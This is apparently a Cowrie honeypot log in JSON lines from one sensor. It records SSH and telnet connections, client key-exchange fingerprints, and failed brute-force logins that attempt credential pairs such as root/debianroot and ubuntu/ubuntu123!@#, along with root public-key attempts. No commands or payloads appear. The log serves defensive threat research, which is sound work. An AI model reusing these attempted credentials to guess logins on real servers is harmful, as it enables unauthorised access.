{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:42.947915Z","src_ip":"154.81.14.172","session":"a9b1e124284d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:59.113578Z","src_ip":"154.81.14.172","session":"a9b1e124284d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:59.120443Z","src_ip":"154.81.14.172","session":"a9b1e124284d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":34024,"dst_ip":"10.17.0.5","dst_port":23,"session":"496207936842","protocol":"telnet","message":"New connection: 166.62.124.255:34024 (10.17.0.5:23) [session: 496207936842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:19:11.806313Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.107.104.242","src_port":60022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1af5304a7f2","protocol":"telnet","message":"New connection: 200.107.104.242:60022 (10.17.0.5:23) [session: f1af5304a7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:19:22.371124Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.214.36.132","src_port":53892,"dst_ip":"10.17.0.5","dst_port":23,"session":"7906e1556064","protocol":"telnet","message":"New connection: 102.214.36.132:53892 (10.17.0.5:23) [session: 7906e1556064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:19:29.017703Z"}
{"eventid":"cowrie.session.closed","duration":12.224416732788086,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:19:34.595433Z","src_ip":"200.107.104.242","session":"f1af5304a7f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":41918,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a348cb4aff","protocol":"telnet","message":"New connection: 166.62.124.255:41918 (10.17.0.5:23) [session: c5a348cb4aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:19:36.559226Z"}
{"eventid":"cowrie.session.closed","duration":12.508026123046875,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:19:41.525540Z","src_ip":"102.214.36.132","session":"7906e1556064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37559461593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:19:42.181786Z","src_ip":"166.62.124.255","session":"496207936842","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596221208572388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:07.155354Z","src_ip":"166.62.124.255","session":"c5a348cb4aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":35152,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ce8ae0f827","protocol":"ssh","message":"New connection: 154.81.14.172:35152 (10.17.0.5:22) [session: e2ce8ae0f827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:14.177674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:14.182341Z","src_ip":"154.81.14.172","session":"e2ce8ae0f827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:14.398276Z","src_ip":"154.81.14.172","session":"e2ce8ae0f827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"test123","message":"login attempt [jack/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:15.292930Z","src_ip":"154.81.14.172","session":"e2ce8ae0f827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:16.512516Z","src_ip":"154.81.14.172","session":"e2ce8ae0f827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":36952,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91e877c8598","protocol":"ssh","message":"New connection: 14.103.114.231:36952 (10.17.0.5:22) [session: b91e877c8598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:50.010123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:50.015608Z","src_ip":"14.103.114.231","session":"b91e877c8598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:50.228854Z","src_ip":"14.103.114.231","session":"b91e877c8598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debianroot","message":"login attempt [root/debianroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:51.121487Z","src_ip":"14.103.114.231","session":"b91e877c8598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:52.343361Z","src_ip":"14.103.114.231","session":"b91e877c8598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.141.255.141","src_port":57005,"dst_ip":"159.203.135.109","dst_port":23,"session":"911b058b44d7","protocol":"telnet","message":"New connection: 103.141.255.141:57005 (159.203.135.109:23) [session: 911b058b44d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:20:55.491450Z"}
{"eventid":"cowrie.session.closed","duration":12.626772165298462,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:21:08.118108Z","src_ip":"103.141.255.141","session":"911b058b44d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":51824,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8cd63f32932","protocol":"ssh","message":"New connection: 154.81.14.172:51824 (10.17.0.5:22) [session: c8cd63f32932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:21:43.514516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:21:43.520990Z","src_ip":"154.81.14.172","session":"c8cd63f32932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:21:43.738970Z","src_ip":"154.81.14.172","session":"c8cd63f32932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123!@#","message":"login attempt [ubuntu/ubuntu123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:21:44.637645Z","src_ip":"154.81.14.172","session":"c8cd63f32932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:21:45.858901Z","src_ip":"154.81.14.172","session":"c8cd63f32932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43724,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2fba8b50306","protocol":"telnet","message":"New connection: 135.148.33.91:43724 (159.203.135.109:23) [session: d2fba8b50306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:21:46.550153Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.136.42","src_port":39378,"dst_ip":"10.17.0.5","dst_port":22,"session":"e11a9b2d5a8c","protocol":"ssh","message":"New connection: 170.238.136.42:39378 (10.17.0.5:22) [session: e11a9b2d5a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:02.108863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:02.124127Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:02.239683Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:71:27:70:13:b1:0c:cf:69:ed:8f:dc:c7:05:10:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCX1z9QAzI+aLPQHtMaksdr4n0nMZAEZD1d6FpLujTRn1q84Apq3CtngHuQ0lD+gCFs+5m21yEVt+DToxUWsO5vberaevSC3VyfcjB10gjuoapWA099KtKDU72Tva7iC9c7TtTbRYDlIH5OM/c7ki2eLia8VU1wpB5mhanc+bMuNyKjyxgE8R1wuPwDV2jbiOkMizeylh5XrxhMQbxeLV4S9LFXjowPnOKvYf/6e2FMK4Xueq7BVkjJqTu/QhH9ILNPVKQxhN2mi+Sg00XxM+UM/m98TZzurAXHlHRwuhMGQnGk3D47AZ7ZqcVeEMqFh+Eg3pKmTOu6KOSzp8Jm2o/j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:71:27:70:13:b1:0c:cf:69:ed:8f:dc:c7:05:10:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:02.781994Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:71:27:70:13:b1:0c:cf:69:ed:8f:dc:c7:05:10:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCX1z9QAzI+aLPQHtMaksdr4n0nMZAEZD1d6FpLujTRn1q84Apq3CtngHuQ0lD+gCFs+5m21yEVt+DToxUWsO5vberaevSC3VyfcjB10gjuoapWA099KtKDU72Tva7iC9c7TtTbRYDlIH5OM/c7ki2eLia8VU1wpB5mhanc+bMuNyKjyxgE8R1wuPwDV2jbiOkMizeylh5XrxhMQbxeLV4S9LFXjowPnOKvYf/6e2FMK4Xueq7BVkjJqTu/QhH9ILNPVKQxhN2mi+Sg00XxM+UM/m98TZzurAXHlHRwuhMGQnGk3D47AZ7ZqcVeEMqFh+Eg3pKmTOu6KOSzp8Jm2o/j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:02.786079Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:76:94:e6:cc:36:71:20:2e:28:4f:01:be:fd:fa:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/z1WFi5uSN1zjgeEOBGb/HPojZSjqf3ChHlQ6MZDrvn2wvDGHLIA4hubwyRcgZN+ulMxu96ENshvs1dyNwUNHmBs2vxE1agPCeqyDgqyv9XfpGgzGMMe3+c2HXRwosa3PBjV2DooGjAADTSLUZGgjGXDX7CK9hCHrCB988pdIx6h+eE5ZHQ+8JDsPKb2I6cxDGVZvSHL0MhY0XU4OfZBVD2zsO2HCX2br3qNMaL3NlqrxV7n8RHBNtUh2M/huJIY6q+X3jM5tNXcRrW4O1RzxEwZtu++H/zSu7lhQzQMz5Dh+scTJWI7C0paxRgCBGGJCypO/3tod60YnZLXPk8WL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:76:94:e6:cc:36:71:20:2e:28:4f:01:be:fd:fa:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:02.903755Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:76:94:e6:cc:36:71:20:2e:28:4f:01:be:fd:fa:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/z1WFi5uSN1zjgeEOBGb/HPojZSjqf3ChHlQ6MZDrvn2wvDGHLIA4hubwyRcgZN+ulMxu96ENshvs1dyNwUNHmBs2vxE1agPCeqyDgqyv9XfpGgzGMMe3+c2HXRwosa3PBjV2DooGjAADTSLUZGgjGXDX7CK9hCHrCB988pdIx6h+eE5ZHQ+8JDsPKb2I6cxDGVZvSHL0MhY0XU4OfZBVD2zsO2HCX2br3qNMaL3NlqrxV7n8RHBNtUh2M/huJIY6q+X3jM5tNXcRrW4O1RzxEwZtu++H/zSu7lhQzQMz5Dh+scTJWI7C0paxRgCBGGJCypO/3tod60YnZLXPk8WL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:02.908375Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:c9:07:69:36:9b:2e:24:69:27:6f:ee:e4:c7:f1:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3QKclRFMTlEiDVcBh1n6RMz3/n+chRnwEycf6ZNutHxAgBU4C8/H7yv0mZETkmFoxbuK/HodVSFDx2noOM9dGpGU/aLUAmZIpX0lvocjjN5itcFbcJCDlCBJu4UgGE7d9jAm8qSoXWvgRMlcewcFuIiIHUdHCGRRudzUZCwtban3vxPHNsh6X0jFDtBIR364N4MBt4jDuwSPv4lljt52cXAm8ZiZMIbvQSLzHJMq1bbuHJ2h4OBtEgSdAiJjmYx2ccV0p5USY/IPHQ1WAETz5qGACHqlZQJI/6VQzdDLJedw+5eTqc1kWFinEoxLbBf1kFnqnFuk95IPfWv1FiD8L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:c9:07:69:36:9b:2e:24:69:27:6f:ee:e4:c7:f1:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:03.023172Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:c9:07:69:36:9b:2e:24:69:27:6f:ee:e4:c7:f1:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3QKclRFMTlEiDVcBh1n6RMz3/n+chRnwEycf6ZNutHxAgBU4C8/H7yv0mZETkmFoxbuK/HodVSFDx2noOM9dGpGU/aLUAmZIpX0lvocjjN5itcFbcJCDlCBJu4UgGE7d9jAm8qSoXWvgRMlcewcFuIiIHUdHCGRRudzUZCwtban3vxPHNsh6X0jFDtBIR364N4MBt4jDuwSPv4lljt52cXAm8ZiZMIbvQSLzHJMq1bbuHJ2h4OBtEgSdAiJjmYx2ccV0p5USY/IPHQ1WAETz5qGACHqlZQJI/6VQzdDLJedw+5eTqc1kWFinEoxLbBf1kFnqnFuk95IPfWv1FiD8L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:03.027596Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:38:1a:3a:7a:16:d6:18:dd:2a:be:a9:df:ee:4e:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu8A2XgPoWIH/zKTP7UdLxm6nwWCXBqUYMcHzpKbYSSs9tJJ1MG/+oUcWYxYUfkOuQIbE+CBlgmwjkYCUNxJwLlMRt9Eg/fVgqRPJ1CLRfS9IO1TzfUT9hSxdT3CTsCbLhoA5BdcvXkd4Z6pGhKq8YsFGI9qI9SqRmBStVTuPcBDd3z094aZsYOgRXXU/CP0OIBbRF40/K3Hn1+8aY4NUVf5vNKNhWLsc32xRnviXseesu/2s3UFcSjHhGXYaPaD3LI/Ukx13dbZSMvIkcV82nUA2NmwGUASxWqkhM5WS7EpMvIpb6vOn9XcVzSEYoyf5OHKRVfKEgyoR3qEfk1Py/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:38:1a:3a:7a:16:d6:18:dd:2a:be:a9:df:ee:4e:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:03.143708Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
